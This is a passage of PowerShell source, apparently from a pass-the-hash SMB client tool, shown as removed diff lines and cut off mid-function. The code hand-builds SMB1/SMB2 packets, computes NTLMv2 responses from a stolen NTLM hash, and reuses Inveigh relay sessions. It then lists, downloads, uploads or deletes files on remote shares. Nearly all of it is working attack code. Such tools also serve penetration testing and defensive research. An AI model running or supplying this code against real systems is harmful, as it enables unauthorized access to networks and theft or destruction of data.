{ - $share_subdirectory = $source.Substring($target.Length + $share.Length + 2) - } - -} -else -{ - - if($destination_array.Count -gt 2) - { - $share_subdirectory = $destination.Substring($target.Length + $share.Length + 2) - } - -} - -if($share_subdirectory -and $share_subdirectory.EndsWith('\')) -{ - $share_subdirectory = $share_subdirectory.Substring(0,$share_subdirectory.Length - 1) -} - -if(!$startup_error -and !$inveigh_session) -{ - - try - { - $client.Connect($target,"445") - } - catch - { - $output_message = "[-] $target did not respond" - } - -} - -if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) -{ - - $client_receive = New-Object System.Byte[] 81920 - - if(!$inveigh_session) - { - $client_stream = $client.GetStream() - $stage = 'NegotiateSMB' - - while($stage -ne 'exit') - { - - try - { - - switch ($stage) - { - - 'NegotiateSMB' - { - $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 - $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') - { - $SMB_version = 'SMB1' - $stage = 'NTLMSSPNegotiate' - - if([System.BitConverter]::ToString($client_receive[39]) -eq '0f') - { - - if($SigningCheck) - { - Write-Output "[+] SMB signing is required" - $stage = 'Exit' - } - else - { - Write-Verbose "[+] SMB signing is required" - $SMB_signing = $true - $session_key_length = 0x00,0x00 - $negotiate_flags = 0x15,0x82,0x08,0xa0 - } - - } - else - { - - if($SigningCheck) - { - Write-Output "[+] SMB signing is not required" - $stage = 'Exit' - } - else - { - $SMB_signing = $false - $session_key_length = 0x00,0x00 - $negotiate_flags = 0x05,0x82,0x08,0xa0 - } - - } - - } - else - { - $stage = 'NegotiateSMB2' - - if([System.BitConverter]::ToString($client_receive[70]) -eq '03') - { - - if($SigningCheck) - { - Write-Output "[+] SMB signing is required" - $stage = 'Exit' - } - else - { - Write-Verbose "[+] SMB signing is required" - $SMB_signing = $true - $session_key_length = 0x00,0x00 - $negotiate_flags = 0x15,0x82,0x08,0xa0 - } - - } - else - { - - if($SigningCheck) - { - Write-Output "[+] SMB signing is not required" - $stage = 'Exit' - } - else - { - $SMB_signing = $false - $session_key_length = 0x00,0x00 - $negotiate_flags = 0x05,0x80,0x08,0xa0 - } - - } - - } - - Write-Verbose "[+] SMB version is $SMB_version" - } - - 'NegotiateSMB2' - { - $tree_ID = 0x00,0x00,0x00,0x00 - $session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - $message_ID = 1 - $packet_SMB_header = New-PacketSMB2Header 0x00,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID - $packet_SMB_data = New-PacketSMB2NegotiateProtocolRequest - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $stage = 'NTLMSSPNegotiate' - } - - 'NTLMSSPNegotiate' - { - - if($SMB_version -eq 'SMB1') - { - $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID 0x00,0x00 - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - } - - $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $message_ID++ - $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x1f,0x00 $false $message_ID $process_ID $tree_ID $session_ID - $packet_NTLMSSP_negotiate = New-PacketNTLMSSPNegotiate $negotiate_flags 0x06,0x01,0xb1,0x1d,0x00,0x00,0x00,0x0f - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $stage = 'Exit' - } - - } - - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - } - - } - - if(!$SigningCheck) - { - $NTLMSSP = [System.BitConverter]::ToString($client_receive) - $NTLMSSP = $NTLMSSP -replace "-","" - $NTLMSSP_index = $NTLMSSP.IndexOf("4E544C4D53535000") - $NTLMSSP_bytes_index = $NTLMSSP_index / 2 - $domain_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 12) $client_receive - $target_length = Get-UInt16DataLength ($NTLMSSP_bytes_index + 40) $client_receive - $session_ID = $client_receive[44..51] - $NTLM_challenge = $client_receive[($NTLMSSP_bytes_index + 24)..($NTLMSSP_bytes_index + 31)] - $target_details = $client_receive[($NTLMSSP_bytes_index + 56 + $domain_length)..($NTLMSSP_bytes_index + 55 + $domain_length + $target_length)] - $target_time_bytes = $target_details[($target_details.Length - 12)..($target_details.Length - 5)] - $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" - $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $auth_hostname = (Get-ChildItem -path env:computername).Value - $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) - $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) - $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) - $auth_username_length = $auth_username_length[0,1] - $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) - $auth_hostname_length = $auth_hostname_length[0,1] - $auth_domain_offset = 0x40,0x00,0x00,0x00 - $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) - $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) - $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) - $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) - $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 - $HMAC_MD5.key = $NTLM_hash_bytes - $username_and_target = $username.ToUpper() - $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) - $username_and_target_bytes += $auth_domain_bytes - $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) - $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - $security_blob_bytes = 0x01,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00 + - $target_time_bytes + - $client_challenge_bytes + - 0x00,0x00,0x00,0x00 + - $target_details + - 0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00 - - $server_challenge_and_security_blob_bytes = $NTLM_challenge + $security_blob_bytes - $HMAC_MD5.key = $NTLMv2_hash - $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) - - if($SMB_signing) - { - $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) - $session_key = $session_base_key - $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 - $HMAC_SHA256.key = $session_key - } - - $NTLMv2_response = $NTLMv2_response + $security_blob_bytes - $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) - $NTLMv2_response_length = $NTLMv2_response_length[0,1] - $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) - - $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, - 0x03,0x00,0x00,0x00, - 0x18,0x00, - 0x18,0x00 + - $auth_LM_offset + - $NTLMv2_response_length + - $NTLMv2_response_length + - $auth_NTLM_offset + - $auth_domain_length + - $auth_domain_length + - $auth_domain_offset + - $auth_username_length + - $auth_username_length + - $auth_username_offset + - $auth_hostname_length + - $auth_hostname_length + - $auth_hostname_offset + - $session_key_length + - $session_key_length + - $SMB_session_key_offset + - $negotiate_flags + - $auth_domain_bytes + - $auth_username_bytes + - $auth_hostname_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $NTLMv2_response - - if($SMB_version -eq 'SMB1') - { - $SMB_user_ID = $client_receive[32,33] - $packet_SMB_header = New-PacketSMBHeader 0x73 0x18 0x07,0xc8 0xff,0xff $process_ID $SMB_user_ID - - if($SMB_signing) - { - $packet_SMB_header["Flags2"] = 0x05,0x48 - } - - $packet_SMB_header["UserID"] = $SMB_user_ID - $packet_NTLMSSP_negotiate = New-PacketNTLMSSPAuth $NTLMSSP_response - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB_data = New-PacketSMBSessionSetupAndXRequest $NTLMSSP_negotiate - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - else - { - $message_ID++ - $packet_SMB_header = New-PacketSMB2Header 0x01,0x00 0x00,0x00 $false $message_ID $process_ID $tree_ID $session_ID - $packet_NTLMSSP_auth = New-PacketNTLMSSPAuth $NTLMSSP_response - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB_data = New-PacketSMB2SessionSetupRequest $NTLMSSP_auth - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - } - - try - { - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if($SMB_version -eq 'SMB1') - { - - if([System.BitConverter]::ToString($client_receive[9..12]) -eq '00-00-00-00') - { - Write-Verbose "[+] $output_username successfully authenticated on $Target" - Write-Output "[-] SMB1 is not supported" - $login_successful = $false - } - else - { - Write-Output "[-] $output_username failed to authenticate on $Target" - $login_successful = $false - } - - } - else - { - if([System.BitConverter]::ToString($client_receive[12..15]) -eq '00-00-00-00') - { - Write-Verbose "[+] $output_username successfully authenticated on $Target" - $login_successful = $true - } - else - { - Write-Output "[-] $output_username failed to authenticate on $Target" - $login_successful = $false - } - - } - - } - catch - { - $error_message = $_.Exception.Message - $error_message = $error_message -replace "`n","" - Write-Output "[-] $error_message" - $login_successful = $false - } - - } - - } - - try - { - - if($login_successful -or $inveigh_session) - { - - if($inveigh_session) - { - - if($inveigh_session -and $inveigh.session_lock_table[$session] -eq 'locked') - { - Write-Output "[*] Pausing due to Inveigh Relay session lock" - Start-Sleep -s 2 - } - - $inveigh.session_lock_table[$session] = 'locked' - $client = $inveigh.session_socket_table[$session] - $client_stream = $client.GetStream() - $session_ID = $inveigh.session_table[$session] - $message_ID = $inveigh.session_message_ID_table[$session] - $tree_ID = 0x00,0x00,0x00,0x00 - $SMB_signing = $false - } - - $path = "\\" + $Target + "\IPC$" - $path_bytes = [System.Text.Encoding]::Unicode.GetBytes($path) - $directory_list = New-Object System.Collections.ArrayList - $stage = 'TreeConnect' - - while ($stage -ne 'Exit') - { - - switch($stage) - { - - 'CloseRequest' - { - - if(!$SMB_file_ID) - { - $SMB_file_ID = $client_receive[132..147] - } - - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x06,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2CloseRequest $SMB_file_ID - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - $SMB_file_ID = '' - - if($directory_list.Count -gt 0 -and $Action -eq 'Recurse') - { - $file = $directory_list[0] - $root_directory = $file + 0x5c,0x00 - $create_request_extra_info = 1 - $stage = 'CreateRequest' - - if($root_directory.Count -gt 2) - { - $root_directory_extract = [System.BitConverter]::ToString($root_directory) - $root_directory_extract = $root_directory_extract -replace "-00","" - - if($root_directory.Length -gt 2) - { - $root_directory_extract = $root_directory_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $root_directory_string = New-Object System.String ($root_directory_extract,0,$root_directory_extract.Length) - } - else - { - $root_directory_string = [Char][System.Convert]::ToInt16($file,16) - } - - } - - } - elseif($Action -eq 'Get' -and $action_step -eq 1) - { - - if($share_subdirectory -eq $source_file) - { - $file = "" - } - else - { - $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) - } - - $create_request_extra_info = 1 - $stage = 'CreateRequest' - } - elseif($Action -eq 'Delete') - { - - switch($action_step) - { - - 0 - { - - if($share_subdirectory -eq $source_file) - { - $file = "" - } - else - { - $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory.Replace('\' + $source_file,'')) - } - - $create_request_extra_info = 1 - $stage = 'CreateRequest' - $action_step++ - - } - - 1 - { - $stage = 'CreateRequestFindRequest' - } - - 3 - { - $stage = 'TreeDisconnect' - } - - } - - } - elseif($share_subdirectory_start) - { - $share_subdirectory_start = $false - $stage = 'CreateRequestFindRequest' - } - else - { - $stage = 'TreeDisconnect' - } - - } - - 'CreateRequest' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2CreateRequest $file $create_request_extra_info $source_file_size - - if($directory_list.Count -gt 0) - { - $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00 - $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 - } - - if($Action -eq 'Delete') - { - - switch($action_step) - { - - 0 - { - $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00 - $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x00,0x00 - $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 - } - - 2 - { - $packet_SMB2_data["CreateOptions"] = 0x40,0x00,0x20,0x00 - $packet_SMB2_data["DesiredAccess"] = 0x80,0x00,0x01,0x00 - $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 - } - - } - - } - - if($Action -eq 'Get') - { - $packet_SMB2_data["CreateOptions"] = 0x00,0x00,0x20,0x00 - $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00 - $packet_SMB2_data["ShareAccess"] = 0x05,0x00,0x00,0x00 - } - - if($Action -eq 'Put') - { - - switch($action_step) - { - - 0 - { - $packet_SMB2_data["CreateOptions"] = 0x60,0x00,0x20,0x00 - $packet_SMB2_data["DesiredAccess"] = 0x89,0x00,0x12,0x00 - $packet_SMB2_data["ShareAccess"] = 0x01,0x00,0x00,0x00 - $packet_SMB2_data["RequestedOplockLevel"] = 0xff - } - - 1 - { - $packet_SMB2_data["CreateOptions"] = 0x64,0x00,0x00,0x00 - $packet_SMB2_data["DesiredAccess"] = 0x97,0x01,0x13,0x00 - $packet_SMB2_data["ShareAccess"] = 0x00,0x00,0x00,0x00 - $packet_SMB2_data["RequestedOplockLevel"] = 0xff - $packet_SMB2_data["FileAttributes"] = 0x20,0x00,0x00,0x00 - $packet_SMB2_data["CreateDisposition"] = 0x05,0x00,0x00,0x00 - } - - } - - } - - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if([System.BitConverter]::ToString($client_receive[12..15]) -ne '00-00-00-00') - { - - $error_code = [System.BitConverter]::ToString($client_receive[12..15]) - - switch($error_code) - { - - '03-01-00-c0' - { - $stage = 'Exit' - } - - '22-00-00-c0' - { - - if($directory_list.Count -gt 0) - { - $directory_list.RemoveAt(0) > $null - } - else - { - $output_message = "[-] Access denied" - $share_subdirectory_start = $false - } - - $stage = 'CloseRequest' - - } - - '34-00-00-c0' - { - - if($Action -eq 'Put') - { - $create_request_extra_info = 3 - $action_step++ - $stage = 'CreateRequest' - } - else - { - $output_message = "[-] File not found" - $stage = 'Exit' - } - - } - - 'ba-00-00-c0' - { - - if($Action -eq 'Put') - { - $output_message = "[-] Destination filname must be specified" - $stage = 'CloseRequest' - } - - } - - default - { - $error_code = $error_code -replace "-","" - $output_message = "[-] Create request error code 0x$error_code" - $stage = 'Exit' - } - - } - - } - elseif($Action -eq 'Delete' -and $action_step -eq 2) - { - $set_info_request_file_info_class = 0x01 - $set_info_request_info_level = 0x0d - $set_info_request_buffer = 0x01,0x00,0x00,0x00 - $SMB_file_ID = $client_receive[132..147] - $stage = 'SetInfoRequest' - } - elseif($Action -eq 'Get' -and $action_step -ne 1) - { - - switch($action_step) - { - - 0 - { - $SMB_file_ID = $client_receive[132..147] - $action_step++ - $stage = 'CloseRequest' - } - - 2 - { - - if($file_size -lt 4096) - { - $read_request_length = $file_size - } - else - { - $read_request_length = 4096 - } - - $read_request_offset = 0 - $SMB_file_ID = $client_receive[132..147] - $action_step++ - $stage = 'ReadRequest' - } - - 4 - { - $header_next_command = 0x68,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x01 - $query_info_request_file_info_class_1 = 0x07 - $query_info_request_output_buffer_length_1 = 0x00,0x10,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x68,0x00 - $query_info_request_buffer_1 = 0 - $query_info_request_info_type_2 = 0x01 - $query_info_request_file_info_class_2 = 0x16 - $query_info_request_output_buffer_length_2 = 0x00,0x10,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x68,0x00 - $query_info_request_buffer_2 = 0 - $SMB_file_ID = $client_receive[132..147] - $action_step++ - $stage = 'QueryInfoRequest' - } - - } - - } - elseif($Action -eq 'Put') - { - - switch($action_step) - { - - 0 - { - - if($Action -eq 'Put') - { - $output_message = "Destination file exists" - $stage = 'CloseRequest' - } - - } - - 1 - { - $SMB_file_ID = $client_receive[132..147] - $action_step++ - $header_next_command = 0x70,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x02 - $query_info_request_file_info_class_1 = 0x01 - $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x00,0x00 - $query_info_request_buffer_1 = 8 - $query_info_request_info_type_2 = 0x02 - $query_info_request_file_info_class_2 = 0x05 - $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x00,0x00 - $query_info_request_buffer_2 = 1 - $SMB_file_ID = $client_receive[132..147] - $stage = 'QueryInfoRequest' - } - - } - - } - elseif($share_subdirectory_start) - { - $SMB_file_ID = $client_receive[132..147] - $stage = 'CloseRequest' - } - elseif($directory_list.Count -gt 0 -or $action_step -eq 1) - { - $stage = 'FindRequest' - } - else - { - $header_next_command = 0x70,0x00,0x00,0x00 - $query_info_request_info_type_1 = 0x02 - $query_info_request_file_info_class_1 = 0x01 - $query_info_request_output_buffer_length_1 = 0x58,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_1 = 0x00,0x00 - $query_info_request_buffer_1 = 8 - $query_info_request_info_type_2 = 0x02 - $query_info_request_file_info_class_2 = 0x05 - $query_info_request_output_buffer_length_2 = 0x50,0x00,0x00,0x00 - $query_info_request_input_buffer_offset_2 = 0x00,0x00 - $query_info_request_buffer_2 = 1 - $SMB_file_ID = $client_receive[132..147] - $stage = 'QueryInfoRequest' - - if($share_subdirectory) - { - $share_subdirectory_start = $true - } - - } - - } - - 'CreateRequestFindRequest' - { - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x05,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_data = New-PacketSMB2CreateRequest $file 1 - $packet_SMB2_data["DesiredAccess"] = 0x81,0x00,0x10,0x00 - $packet_SMB2_data["ShareAccess"] = 0x07,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_SMB2_header["NextCommand"] = [System.BitConverter]::GetBytes($SMB2_header.Length + $SMB2_data.Length) - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $message_ID++ - $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2b_header["NextCommand"] = 0x68,0x00,0x00,0x00 - - if($SMB_signing) - { - $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 - } - - $packet_SMB2b_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff 0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data - - if($SMB_signing) - { - $SMB2_sign = $SMB2b_header + $SMB2b_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2b_header["Signature"] = $SMB2_signature - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - } - - $message_ID++ - $packet_SMB2c_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2c_header["Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2c_header["Flags"] = 0x04,0x00,0x00,0x00 - } - - $packet_SMB2c_data = New-PacketSMB2FindRequestFile 0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff - $packet_SMB2c_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00 - $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header - $SMB2c_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length + $SMB2c_header.Length) ($SMB2_data.Length + $SMB2b_data.Length + $SMB2c_data.Length) - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - - if($SMB_signing) - { - $SMB2_sign = $SMB2c_header + $SMB2c_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2c_header["Signature"] = $SMB2_signature - $SMB2c_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2c_header - } - - $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $SMB2b_header + $SMB2b_data + $SMB2c_header + $SMB2c_data - $client_stream.Write($client_send,0,$client_send.Length) > $null - $client_stream.Flush() - $client_stream.Read($client_receive,0,$client_receive.Length) > $null - - if($Action -eq 'Delete') - { - $stage = 'CreateRequest' - $file = [System.Text.Encoding]::Unicode.GetBytes($share_subdirectory) - $action_step++ - } - else - { - $stage = 'ParseDirectoryContents' - } - - } - - 'FindRequest' - { - $SMB_file_ID = $client_receive[132..147] - $message_ID++ - $packet_SMB2_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - $packet_SMB2_header["NextCommand"] = 0x68,0x00,0x00,0x00 - $packet_SMB2_data = New-PacketSMB2FindRequestFile $SMB_file_ID 0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - } - - $message_ID++ - $packet_SMB2b_header = New-PacketSMB2Header 0x0e,0x00 0x01,0x00 $SMB_signing $message_ID $process_ID $tree_ID $session_ID - - if($SMB_signing) - { - $packet_SMB2b_header["Flags"] = 0x0c,0x00,0x00,0x00 - } - else - { - $packet_SMB2b_header["Flags"] = 0x04,0x00,0x00,0x00 - } - - $packet_SMB2b_data = New-PacketSMB2FindRequestFile $SMB_file_ID - $packet_SMB2b_data["OutputBufferLength"] = 0x80,0x00,0x00,0x00 - $SMB2b_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_header - $SMB2b_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2b_data - $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService ($SMB2_header.Length + $SMB2b_header.Length) 